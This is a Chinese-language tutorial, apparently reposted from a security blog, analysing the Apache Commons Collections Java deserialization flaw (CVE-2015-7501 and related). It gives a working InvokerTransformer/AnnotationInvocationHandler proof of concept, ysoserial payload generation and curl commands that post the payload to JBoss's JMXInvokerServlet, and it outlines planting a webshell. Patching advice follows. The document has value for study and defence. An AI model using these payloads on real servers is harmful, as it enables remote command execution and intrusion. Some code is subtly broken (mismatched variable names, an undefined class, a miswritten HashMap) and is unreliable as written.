Java反序列化漏洞分析


相關學習資料

 

  http://www.freebuf.com/vuls/90840.html
  https://security.tencent.com/index.php/blog/msg/97
  http://www.tuicool.com/articles/ZvMbIne
  http://www.freebuf.com/vuls/86566.html
  http://sec.chinabyte.com/435/13618435.shtml
  http://www.myhack58.com/Article/html/3/62/2015/69493_2.htm
  http://blog.nsfocus.net/java-deserialization-vulnerability-comments/
  http://www.ijiandao.com/safe/cto/18152.html
  https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/
  http://www.cnblogs.com/dongchi/p/4796188.html
  https://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0#h4_漏洞利用實例 

目錄

1. 背景
2. 認識java序列化與反序列化
3. 理解漏洞的產生
4. POC構造
5. 實際漏洞環境測試
6. 總結 

 背景

  2015年11月6日FoxGlove Security安全團隊的@breenmachine 發布了一篇長博客,闡述了利用Java反序列化和Apache Commons Collections這一基礎類庫實現遠程命令執行的真實案例,各大Java Web Server紛紛躺槍,這個漏洞橫掃WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。而在將近10個月前, Gabriel Lawrence 和Chris Frohoff 就已經在AppSecCali上的一個報告里提到了這個漏洞利用思路。 

  目前,針對這個"2015年最被低估"的漏洞,各大受影響的Java應用廠商陸續發布了修復后的版本,Apache Commons Collections項目也對存在漏洞的類庫進行了一定的安全處理。但是網絡上仍有大量網站受此漏洞影響。


 

 

認識Java序列化與反序列化

定義:

 

  序列化就是把對象的狀態信息轉換為字節序列(即可以存儲或傳輸的形式)過程
  反序列化即逆過程,由字節流還原成對象
  注: 字節序是指多字節數據在計算機內存中存儲或者網絡傳輸時各字節的存儲順序。

 

用途: 

  1) 把對象的字節序列永久地保存到硬盤上,通常存放在一個文件中;
  2) 在網絡上傳送對象的字節序列。

 應用場景:

  1) 一般來說,服務器啟動后,就不會再關閉了,但是如果逼不得已需要重啟,而用戶會話還在進行相應的操作,這時就需要使用序列化將session信息保存起來放在硬盤,服務器重啟后,又重新加載。這樣就保證了用戶信息不會丟失,實現永久化保存。

  2) 在很多應用中,需要對某些對象進行序列化,讓它們離開內存空間,入住物理硬盤,以便減輕內存壓力或便於長期保存。

    比如最常見的是Web服務器中的Session對象,當有 10萬用戶並發訪問,就有可能出現10萬個Session對象,內存可能吃不消,於是Web容器就會把一些seesion先序列化到硬盤中,等要用了,再把保存在硬盤中的對象還原到內存中。

  例子: 淘寶每年都會有定時搶購的活動,很多用戶會提前登錄等待,長時間不進行操作,一致保存在內存中,而到達指定時刻,幾十萬用戶並發訪問,就可能會有幾十萬個session,內存可能吃不消。這時就需要進行對象的活化、鈍化,讓其在閑置的時候離開內存,將信息保存至硬盤,等要用的時候,就重新加載進內存。

 


 

Java中的API實現: 

  位置: Java.io.ObjectOutputStream   java.io.ObjectInputStream

  序列化:  ObjectOutputStream類 --> writeObject()

        注:該方法對參數指定的obj對象進行序列化,把字節序列寫到一個目標輸出流中

          按Java的標准約定是給文件一個.ser擴展名

  反序列化: ObjectInputStream類 --> readObject()   

         注:該方法從一個源輸入流中讀取字節序列,再把它們反序列化為一個對象,並將其返回。

簡單測試代碼:

import java.io.*;

/*
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
*/

public class Java_Test{

    public static void main(String args[]) throws Exception {
        String obj = "ls ";

        // 將序列化對象寫入文件object.txt中
        FileOutputStream fos = new FileOutputStream("aa.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(obj);
        os.close();

        // 從文件object.txt中讀取數據
        FileInputStream fis = new FileInputStream("aa.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);

        // 通過反序列化恢復對象obj
        String obj2 = (String)ois.readObject();
        System.out.println(obj2);
        ois.close();
    }

}

  我們可以看到,先通過輸入流創建一個文件,再調用ObjectOutputStream類的 writeObject方法把序列化的數據寫入該文件;然后調ObjectInputStream類的readObject方法反序列化數據並打印數據內容。

 

  實現Serializable和Externalizable接口的類的對象才能被序列化。

  Externalizable接口繼承自 Serializable接口,實現Externalizable接口的類完全由自身來控制序列化的行為,而僅實現Serializable接口的類可以采用默認的序列化方式 。
  對象序列化包括如下步驟:
  1) 創建一個對象輸出流,它可以包裝一個其他類型的目標輸出流,如文件輸出流;
  2) 通過對象輸出流的writeObject()方法寫對象。

  對象反序列化的步驟如下:
  1) 創建一個對象輸入流,它可以包裝一個其他類型的源輸入流,如文件輸入流;
  2) 通過對象輸入流的readObject()方法讀取對象。

代碼實例

  我們創建一個Person接口,然后寫兩個方法:
    序列化方法: 創建一個Person實例,調用函數為其三個成員變量賦值,通過writeObject方法把該對象序列化,寫入Person.txt文件中     反序列化方法:調用readObject方法,返回一個經過飯序列化處理的對象   在測試主類里面,我們先序列化Person實例對象,然后又反序列化該對象,最后調用函數獲取各個成員變量的值。

測試代碼如下:

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.text.MessageFormat;
import java.io.Serializable;

class Person implements Serializable {

    /**
     * 序列化ID
     */
    private static final long serialVersionUID = -5809782578272943999L;
    
    
    private int age;
    private String name;
    private String sex;
    
    public int getAge() {
        return age;
    }

    public String getName() {
        return name;
    }

    public String getSex() {
        return sex;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public void setName(String name) {
        this.name = name;
    }

    public void setSex(String sex) {
        this.sex = sex;
    }
}

/**
 * <p>ClassName: SerializeAndDeserialize<p>
 * <p>Description: 測試對象的序列化和反序列<p>
 */
public class SerializeDeserialize_readObject {

    public static void main(String[] args) throws Exception {
        SerializePerson();//序列化Person對象
        Person p = DeserializePerson();//反序列Perons對象
        System.out.println(MessageFormat.format("name={0},age={1},sex={2}",
                                                 p.getName(), p.getAge(), p.getSex()));
    }

    /**
     * MethodName: SerializePerson
     * Description: 序列化Person對象
     */
    private static void SerializePerson() throws FileNotFoundException,
            IOException {
        Person person = new Person();
        person.setName("ssooking");
        person.setAge(20);
        person.setSex("男");
        // ObjectOutputStream 對象輸出流,將Person對象存儲到Person.txt文件中,完成對Person對象的序列化操作
        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(
                new File("Person.txt")));
        oo.writeObject(person);
        System.out.println("Person對象序列化成功!");
        oo.close();
    }

    /**
     * MethodName: DeserializePerson
     * Description: 反序列Perons對象
     */
    private static Person DeserializePerson() throws Exception, IOException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("Person.txt")));
        /*
            FileInputStream fis = new FileInputStream("Person.txt"); 
            ObjectInputStream ois = new ObjectInputStream(fis);
        */
        Person person = (Person) ois.readObject();
        System.out.println("Person對象反序列化成功!");
        return person;
    }

}

 漏洞是怎么來的呢?

  我們既然已經知道了序列化與反序列化的過程,那么如果反序列化的時候,這些即將被反序列化的數據是我們特殊構造的呢!

  如果Java應用對用戶輸入,即不可信數據做了反序列化處理,那么攻擊者可以通過構造惡意輸入,讓反序列化產生非預期的對象,非預期的對象在產生過程中就有可能帶來任意代碼執行。


 漏洞分析

從Apache Commons Collections說起

項目地址
官網:    http:
//commons.apache.org/proper/commons-collections/ Github:  https://github.com/apache/commons-collections

   由於對java序列化/反序列化的需求,開發過程中常使用一些公共庫。

   Apache Commons Collections 是一個擴展了Java標准庫里的Collection結構的第三方基礎庫。它包含有很多jar工具包如下圖所示,它提供了很多強有力的數據結構類型並且實現了各種集合工具類。

  org.apache.commons.collections提供一個類包來擴展和增加標准的Java的collection框架,也就是說這些擴展也屬於collection的基本概念,只是功能不同罷了。Java中的collection可以理解為一組對象,collection里面的對象稱為collection的對象。具象的collection為set,list,queue等等,它們是集合類型。換一種理解方式,collection是set,list,queue的抽象。

   

  作為Apache開源項目的重要組件,Commons Collections被廣泛應用於各種Java應用的開發,而正是因為在大量web應用程序中這些類的實現以及方法的調用,導致了反序列化用漏洞的普遍性和嚴重性。 

   Apache Commons Collections中有一個特殊的接口,其中有一個實現該接口的類可以通過調用Java的反射機制來調用任意函數,叫做InvokerTransformer。

JAVA反射機制
    在運行狀態中:
      對於任意一個類,都能夠判斷一個對象所屬的類;
      對於任意一個類,都能夠知道這個類的所有屬性和方法;
      對於任意一個對象,都能夠調用它的任意一個方法和屬性;
    這種動態獲取的信息以及動態調用對象的方法的功能稱為java語言的反射機制。

   這里涉及到了很多概念,不要着急,接下來我們就來詳細的分析一下。


 POC構造

  經過對前面序列與反序列化的了解,我們蠢蠢欲動。那么怎樣利用這個漏洞呢?

  一丁點兒思路:

    構造一個對象 —— 反序列化 —— 提交數據

  OK? 我們現在遇到的關鍵問題是: 什么樣對象符合條件?如何執行命令?怎樣讓它在被反序列化的時候執行命令?

  首先,我們可以知道,要想在java中調用外部命令,可以使用這個函數 Runtime.getRuntime().exec(),然而,我們現在需要先找到一個對象,可以存儲並在特定情況下執行我們的命令。

(1)Map類 --> TransformedMap

  Map類是存儲鍵值對的數據結構。 Apache Commons Collections中實現了TransformedMap ,該類可以在一個元素被添加/刪除/或是被修改時(即key或value:集合中的數據存儲形式即是一個索引對應一個值,就像身份證與人的關系那樣),會調用transform方法自動進行特定的修飾變換,具體的變換邏輯由Transformer類定義。也就是說,TransformedMap類中的數據發生改變時,可以自動對進行一些特殊的變換,比如在數據被修改時,把它改回來; 或者在數據改變時,進行一些我們提前設定好的操作。

  至於會進行怎樣的操作或變換,這是由我們提前設定的,這個叫做transform。等會我們就來了解一下transform。

  我們可以通過TransformedMap.decorate()方法獲得一個TransformedMap的實例

TransformedMap.decorate方法,預期是對Map類的數據結構進行轉化,該方法有三個參數。

    第一個參數為待轉化的Map對象
    第二個參數為Map對象內的key要經過的轉化方法(可為單個方法,也可為鏈,也可為空)
    第三個參數為Map對象內的value要經過的轉化方法

 

(2)Transformer接口 

Defines a functor interface implemented by classes that transform one object into another.
作用:接口於Transformer的類都具備把一個對象轉化為另一個對象的功能

transform的源代碼

 我們可以看到該類接收一個對象,獲取該對象的名稱,然后調用了一個invoke反射方法。另外,多個Transformer還能串起來,形成ChainedTransformer。當觸發時,ChainedTransformer可以按順序調用一系列的變換。

下面是一些實現Transformer接口的類,箭頭標注的是我們會用到的。

 

ConstantTransformer
把一個對象轉化為常量,並返回。
InvokerTransformer 通過反射,返回一個對象 ChainedTransformer ChainedTransformer為鏈式的Transformer,會挨個執行我們定義Transformer

 

  Apache Commons Collections中已經實現了一些常見的Transformer,其中有一個可以通過Java的反射機制來調用任意函數,叫做InvokerTransformer,代碼如下:

public class InvokerTransformer implements Transformer, Serializable {

...

    /*
        Input參數為要進行反射的對象,
        iMethodName,iParamTypes為調用的方法名稱以及該方法的參數類型
        iArgs為對應方法的參數
        在invokeTransformer這個類的構造函數中我們可以發現,這三個參數均為可控參數
    */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

只需要傳入方法名、參數類型和參數,即可調用任意函數。

  在這里,我們可以看到,先用ConstantTransformer()獲取了Runtime類,接着反射調用getRuntime函數,再調用getRuntime的exec()函數,執行命令""。依次調用關系為: Runtime --> getRuntime --> exec()

  因此,我們要提前構造 ChainedTransformer鏈,它會按照我們設定的順序依次調用Runtime, getRuntime,exec函數,進而執行命令。正式開始時,我們先構造一個TransformeMap實例,然后想辦法修改它其中的數據,使其自動調用tansform()方法進行特定的變換(即我們之前設定好的)

  再理一遍:

  1)構造一個Map和一個能夠執行代碼的ChainedTransformer,
  2)生成一個TransformedMap實例
  3)利用MapEntry的setValue()函數對TransformedMap中的鍵值進行修改
  4)觸發我們構造的之前構造的鏈式Transforme(即ChainedTransformer)進行自動轉換

知識補充

Map是java中的接口,Map.Entry是Map的一個內部接口。
Map提供了一些常用方法,如keySet()、entrySet()等方法。
keySet()方法返回值是Map中key值的集合;
entrySet()的返回值也是返回一個Set集合,此集合的類型為Map.Entry。
Map.Entry是Map聲明的一個內部接口,此接口為泛型,定義為Entry<K,V>。它表示Map中的一個實體(一個key-value對)。
接口中有getKey(),getValue方法,可以用來對集合中的元素進行修改

我們可以實現這個思路

public static void main(String[] args) throws Exception {
    //transformers: 一個transformer鏈,包含各類transformer對象(預設轉化邏輯)的轉化數組
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[] {String.class, Class[].class }, new Object[] {
            "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", 
            new Class[] {Object.class, Object[].class }, new Object[] {
            null, new Object[0] }),
        new InvokerTransformer("exec", 
            new Class[] {String.class }, new Object[] {"calc.exe"})};

    //首先構造一個Map和一個能夠執行代碼的ChainedTransformer,以此生成一個TransformedMap
    Transformer transformedChain = new ChainedTransformer(transformers);

    Map innerMap = new hashMap();
    innerMap.put("1", "zhang");

    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    //觸發Map中的MapEntry產生修改(例如setValue()函數
    Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
    
    onlyElement.setValue("foobar");
    /*代碼運行到setValue()時,就會觸發ChainedTransformer中的一系列變換函數:
       首先通過ConstantTransformer獲得Runtime類
       進一步通過反射調用getMethod找到invoke函數
       最后再運行命令calc.exe。
    */
}

思考

目前的構造還需要依賴於Map中某一項去調用setValue() 怎樣才能在調用readObject()方法時直接觸發執行呢?

更近一步

  我們知道,如果一個類的方法被重寫,那么在調用這個函數時,會優先調用經過修改的方法。因此,如果某個可序列化的類重寫了readObject()方法,並且在readObject()中對Map類型的變量進行了鍵值修改操作,且這個Map變量是可控的,我么就可以實現攻擊目標。

  於是,我們開始尋尋覓覓,終於,我們找到了~

  AnnotationInvocationHandler類

這個類有一個成員變量memberValues是Map類型 
更棒的是,AnnotationInvocationHandler的readObject()函數中對memberValues的每一項調用了setValue()函數對value值進行一些變換。

 

  這個類完全符合我們的要求,那么,我們的思路就非常清晰了

  1)首先構造一個Map和一個能夠執行代碼的ChainedTransformer,
  2)生成一個TransformedMap實例
  3)實例化AnnotationInvocationHandler,並對其進行序列化,
  4)當觸發readObject()反序列化的時候,就能實現命令執行。

  POC執行流程為 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功觸發

我們回顧下所有用到的技術細節

(1)java方法重寫:如果一個類的方法被重寫,那么調用該方法時優先調用該方法

(2)JAVA反射機制:在運行狀態中
             對於任意一個類,都能夠判斷一個對象所屬的類;
             對於任意一個類,都能夠知道這個類的所有屬性和方法;
              對於任意一個對象,都能夠調用它的任意一個方法和屬性;
(3)認識關鍵類與函數
    TransformedMap :      利用其value修改時觸發transform()的特性
    ChainedTransformer: 會挨個執行我們定義的Transformer
    Transformer:                 存放我們要執行的命令
    AnnotationInvocationHandler:對memberValues的每一項調用了setValue()函數

具體實現

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;



public class POC_Test{
    public static void main(String[] args) throws Exception {
        //execArgs: 待執行的命令數組
        //String[] execArgs = new String[] { "sh", "-c", "whoami &gt; /tmp/fuck" };

        //transformers: 一個transformer鏈,包含各類transformer對象(預設轉化邏輯)的轉化數組
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            /*
            由於Method類的invoke(Object obj,Object args[])方法的定義
            所以在反射內寫new Class[] {Object.class, Object[].class }
            正常POC流程舉例:
            ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
            */
            new InvokerTransformer(
                "getMethod",
                new Class[] {String.class, Class[].class },
                new Object[] {"getRuntime", new Class[0] }
            ),
            new InvokerTransformer(
                "invoke",
                new Class[] {Object.class,Object[].class }, 
                new Object[] {null, null }
            ),
            new InvokerTransformer(
                "exec",
                new Class[] {String[].class },
                new Object[] { "whoami" }
                //new Object[] { execArgs } 
            )
        };

        //transformedChain: ChainedTransformer類對象,傳入transformers數組,可以按照transformers數組的邏輯執行轉化操作
        Transformer transformedChain = new ChainedTransformer(transformers);

        //BeforeTransformerMap: Map數據結構,轉換前的Map,Map數據結構內的對象是鍵值對形式,類比於python的dict
        //Map&lt;String, String&gt; BeforeTransformerMap = new HashMap&lt;String, String&gt;();
        Map<String,String> BeforeTransformerMap = new HashMap<String,String>();

        BeforeTransformerMap.put("hello", "hello");

        //Map數據結構,轉換后的Map
       /*
       TransformedMap.decorate方法,預期是對Map類的數據結構進行轉化,該方法有三個參數。
            第一個參數為待轉化的Map對象
            第二個參數為Map對象內的key要經過的轉化方法(可為單個方法,也可為鏈,也可為空)
            第三個參數為Map對象內的value要經過的轉化方法。
       */
        //TransformedMap.decorate(目標Map, key的轉化對象(單個或者鏈或者null), value的轉化對象(單個或者鏈或者null));
        Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, AfterTransformerMap);

        File f = new File("temp.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
    }
}

/*
思路:構建BeforeTransformerMap的鍵值對,為其賦值,
     利用TransformedMap的decorate方法,對Map數據結構的key/value進行transforme
     對BeforeTransformerMap的value進行轉換,當BeforeTransformerMap的value執行完一個完整轉換鏈,就完成了命令執行

     執行本質: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
     利用反射調用Runtime() 執行了一段系統命令, Runtime.getRuntime().exec()

*/

 

漏洞挖掘 

1.漏洞觸發場景
   在java編寫的web應用與web服務器間java通常會發送大量的序列化對象例如以下場景:
  1)HTTP請求中的參數,cookies以及Parameters。
  2)RMI協議,被廣泛使用的RMI協議完全基於序列化
  4)JMX 同樣用於處理序列化對象
  5)自定義協議 用來接收與發送原始的java對象

2. 漏洞挖掘
  (1)確定反序列化輸入點
    首先應找出readObject方法調用,在找到之后進行下一步的注入操作。一般可以通過以下方法進行查找:
      1)源碼審計:尋找可以利用的“靶點”,即確定調用反序列化函數readObject的調用地點。
       2)對該應用進行網絡行為抓包,尋找序列化數據,如wireshark,tcpdump等
     注: java序列化的數據一般會以標記(ac ed 00 05開頭,base64編碼后的特征為rO0AB。
  (2)再考察應用的Class Path中是否包含Apache Commons Collections庫
  (3)生成反序列化的payload
  (4)提交我們的payload數據

 

相關工具

  ysoserial是一個用我們剛才的思路生成序列化payload數據的工具。當中針對Apache Commons Collections 3的payload也是基於TransformedMapInvokerTransformer來構造的,然而在觸發時,並沒有采用上文介紹的AnnotationInvocationHandler,而是使用了java.lang.reflect.Proxy中的相關代碼來實現觸發。此處不再做深入分析,有興趣的讀者可以參考ysoserial的源碼。

獲取方法
去github上下載jar發行版:https:
//github.com/frohoff/ysoserial/releases wget https://github.com/frohoff/ysoserial/releases/download/v0.0.2/ysoserial-0.0.2-all.jar 或者自行編譯: git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -DskipTests

 

相關Tool鏈接

  https://github.com/frohoff/ysoserial

  https://github.com/CaledoniaProject/jenkins-cli-exploit 

  https://github.com/foxglovesec/JavaUnserializeExploits

ysoserial
去github上下載jar發行版:https://github.com/frohoff/ysoserial/releases
或者自行編譯:
git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -DskipTests
沒有mvn的話需要先安裝:sudo apt-get install maven

 


 

實際漏洞環境測試

JBOSS

JBoss是一個管理和運行EJB項目的容器和服務器

Enterprise JavaBean (EJB)規范定義了開發和部署基於事務性、分布式對象應用程序的服務器端軟件組件的體系結構。
企業組織可以構建它們自己的組件,或從第三方供應商購買組件。
這些服務器端組件稱作 Enterprise Bean,它們是 Enterprise JavaBean 容器中駐留的分布式對象,為分布在網絡中的客戶機提供遠程服務。

實際測試版本

Jboss6.1

Download: http://jbossas.jboss.org/downloads/
Unzip: unzip jboss-as-7.1.1.Final.zip

修改配置文件,修改默認訪問端口,設置外部可訪問
 vi  /server/default/deploy/jbossweb.sar/server.xml

運行服務
iptables -I INPUT -p tcp --dport 80 -j ACCEPT
sh jbosspath/bin/run.sh -b 0.0.0.0        

關閉服務器
sh jbosspath/bin/shutdown.sh -S

測試
http://ip:8080
http://ip:8080/web-console

 補充:CentOS默認開啟了防火牆,所以80端口是不能正常訪問的),輸入命令:
 iptables -I INPUT -p tcp --dport 80 -j ACCEPT

 

 

  這里以Jboss為例。Jboss利用的是HTTP協議,可以在任何端口上運行,默認安裝在8080端口中。

  Jboss與“JMXInvokerServlet”的通信過程中存在一個公開漏洞。JMX是一個java的管理協議,在Jboss中的JMXInvokerServlet可以使用HTTP協議與其進行通話。這一通信功能依賴於java的序列化類。在默認安裝的Jboss中,JMXInvokerServlet的路徑恰好為http://localhost:8080/invoker/JMXInvokerServlet。

  如果用戶訪問一個該url,實際上會返回一個原始的java對象,這種行為顯然存在一個漏洞。但由於jmxinvokerservlet與主要的Web應用程序在同一個端口上運行,因此它很少被防火牆所攔截這個漏洞可以很經常的通過互聯網被利用。

  因此,可以以jmx作為Jboss接受外部輸入的點,可以利用java HTTP client包構建POST請求,post請求包中數據為使用ysoserial處理之后的構建代碼

通常的測試可以使用的命令

搜索匹配"readObject"靶點
   grep -nr "readObject" * 測試是否含該漏洞的jar包文件 grep -R InvokerTransformer 生成序列化payload數據 java -jar ysoserial-0.0.4-all.jar CommonsCollections1 '想要執行的命令' > payload.out 提交payload數據   curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@payload.out' http://ip:8080/invoker/JMXInvokerServlet
exploit例子
java -jar  ysoserial-0.0.2-all.jar   CommonsCollections1  'echo 1 > /tmp/pwned'  > payload curl --header 'Content-Type: application/x-java-serialized-object; class="org".jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload' http://127.0.0.1:8080/invoker/JMXInvokerServlet

我們提交payload數據時,可以抓取數據包進行分析,看起來大概像這個樣子(圖片不是自己環境測試中的)

 


 

總結

漏洞分析
  引發:如果Java應用對用戶輸入,即不可信數據做了反序列化處理,那么攻擊者可以通過構造惡意輸入,讓反序列化產生非預期的對象,非預期的對象在產生過程中就有可能帶來任意代碼執行。   
  原因: 類ObjectInputStream在反序列化時,沒有對生成的對象的輸入做限制,使攻擊者利用反射調用函數進行任意命令執行。      CommonsCollections組件中對於集合的操作存在可以進行反射調用的方法   
  根源:Apache Commons Collections允許鏈式的任意的類函數反射調用      問題函數:org.apache.commons.collections.Transformer接口   利用:要利用Java反序列化漏洞,需要在進行反序列化的地方傳入攻擊者的序列化代碼。
  思路:攻擊者通過允許Java序列化協議的端口,把序列化的攻擊代碼上傳到服務器上,再由Apache Commons Collections里的TransformedMap來執行。   至於如何使用這個漏洞對系統發起攻擊,舉一個簡單的思路,通過本地java程序將一個帶有后門漏洞的jsp(一般來說這個jsp里的代碼會是文件上傳和網頁版的SHELL)序列化,
將序列化后的二進制流發送給有這個漏洞的服務器,服務器會反序列化該數據的並生成一個webshell文件,然后就可以直接訪問這個生成的webshell文件進行進一步利用。
 

 啟發

開發者:
  為了確保序列化的安全性,可以對於一些敏感信息加密;
  確保對象的成員變量符合正確的約束條件;
  確保需要優化序列化的性能。
漏洞挖掘:
  (1)通過代碼審計/行為分析等手段發現漏洞所在靶點
  (2)進行POC分析構造時可以利用逆推法

 


 

漏洞修補

Java反序列化漏洞的快速排查和修復方案

目前打包有apache commons collections庫並且應用比較廣泛的主要組件有Jenkins WebLogic Jboss WebSphere  OpenNMS。
其中Jenkins由於功能需要大都直接暴露給公網。
首先確認產品中是否包含上述5種組件 使用grep命令或者其他相關搜索命令檢測上述組件安裝目錄是否包含庫Apache Commons Collections。搜索下列jar。 commons
-collections.jar *.commons-collections.jar apache.commons.collections.jar *.commons-collections.*.jar 如果包含請參考下述解決方案進行修復。

 

通用解決方案

更新Apache Commons Collections庫   Apache Commons Collections在
3.2.2版本開始做了一定的安全處理,新版本的修復方案對相關反射調用進行了限制,對這些不安全的Java類的序列化支持增加了開關。 NibbleSecurity公司的ikkisoft在github上放出了一個臨時補丁SerialKiller
  lib地址:https://github.com/ikkisoft/SerialKiller   下載這個jar后放置於classpath,將應用代碼中的java.io.ObjectInputStream替換為SerialKiller
  之后配置讓其能夠允許或禁用一些存在問題的類,SerialKiller有Hot
-Reload,Whitelisting,Blacklisting幾個特性,控制了外部輸入反序列化后的可信類型。

 

  嚴格意義說起來,Java相對來說安全性問題比較少,出現的一些問題大部分是利用反射,最終用Runtime.exec(String cmd)函數來執行外部命令的。

  如果可以禁止JVM執行外部命令,未知漏洞的危害性會大大降低,可以大大提高JVM的安全性。比如:

SecurityManager originalSecurityManager = System.getSecurityManager();
    if (originalSecurityManager == null) { // 創建自己的SecurityManager SecurityManager sm = new SecurityManager() { private void check(Permission perm) { // 禁止exec if (perm instanceof java.io.FilePermission) { String actions = perm.getActions(); if (actions != null &amp;&amp; actions.contains("execute")) { throw new SecurityException("execute denied!"); } } // 禁止設置新的SecurityManager if (perm instanceof java.lang.RuntimePermission) { String name = perm.getName(); if (name != null &amp;&amp; name.contains("setSecurityManager")) { throw new SecurityException( "System.setSecurityManager denied!"); } } } @Override public void checkPermission(Permission perm) { check(perm); } @Override public void checkPermission(Permission perm, Object context) { check(perm); } }; System.setSecurityManager(sm); }

  如上所示,只要在Java代碼里簡單加一段程序,就可以禁止執行外部程序了。 

  禁止JVM執行外部命令,是一個簡單有效的提高JVM安全性的辦法。可以考慮在代碼安全掃描時,加強對Runtime.exec相關代碼的檢測。

針對其他的Web Application的修復

Weblogic
影響版本:Oracle WebLogic Server, 10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0 版本。 臨時解決方案
1 使用 SerialKiller 替換進行序列化操作的 ObjectInputStream 類; 2 在不影響業務的情況下,臨時刪除掉項目里的 “org/apache/commons/collections/functors/InvokerTransformer.class” 文件; 官方解決方案 官方聲明: http://www.oracle.com/technetwork/topics/security/alert-cve-2015-4852-2763333.html Weblogic 用戶將收到官方的修復支持 Jboss

臨時解決方案
1 刪除 commons-collections jar 中的 InvokerTransformer, InstantiateFactory, 和InstantiateTransfromer class 文件
官方解決方案
https:
//issues.apache.org/jira/browse/COLLECTIONS-580 https://access.redhat.com/solutions/2045023

jenkins 臨時解決方案   1 使用 SerialKiller 替換進行序列化操作的 ObjectInputStream 類;   2 在不影響業務的情況下,臨時刪除掉項目里的“org/apache/commons/collections/functors/InvokerTransformer.class” 文件; 官方解決方案: Jenkins 發布了 安全公告 ,並且在1.638版本中修復了這個漏洞。 官方的補丁聲明鏈接:
https:
//jenkins-ci.org/content/mitigating-unauthenticated-remote-code-execution-0-day-jenkins-cli https://github.com/jenkinsci-cert/SECURITY-218
websphere
  Version8.0,Version7.0,Version8.5 and 8.5.5 Full Profile and Liberty Profile
臨時解決方案
1 使用 SerialKiller 替換進行序列化操作的 ObjectInputStream 類;
2 在不影響業務的情況下,臨時刪除掉項目里的“org/apache/commons/collections/functors/InvokerTransformer.class” 文件
在服務器上找org/apache/commons/collections/functors/InvokerTransformer.class類的jar,目前weblogic10以后都在Oracle/Middleware/modules下    
com.bea.core.apache.commons.collections_3.2.0.jar,創建臨時目錄tt,解壓之后刪除InvokerTransformer.class類后
再改成com.bea.core.apache.commons.collections_3.2.0.jar
覆蓋Oracle/Middleware/modules下,重啟所有服務。如下步驟是linux詳細操作方法: A)mkdir tt B)cp -r Oracle/Middleware/modules/com.bea.core.apache.commons.collections_3.2.0.jar ./tt C)jar xf Oracle/Middleware/modules/com.bea.core.apache.commons.collections_3.2.0.jar D)cd org/apache/commons/collections/functors E)rm -rf InvokerTransformer.class F)jar cf com.bea.core.apache.commons.collections_3.2.0.jar org/* META-INF/* G)mv com.bea.core.apache.commons.collections_3.2.0.jar Oracle/Middleware/modules/ H)重啟服務

重啟服務時候要刪除server-name下的cache和tmp
例如rm -rf ~/user_projects/domains/base_domain/servers/AdminServer/cache
rm -rf  ~/user_projects/domains/base_domain/servers/AdminServer/tmp

相關CVE

CVE-2015-7501

CVE-2015-4852(Weblogic)

CVE-2015-7450(Websphere)

漏洞引申  

http://www.mottoin.com/86117.html  Apache Shiro Java 反序列化漏洞分析


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM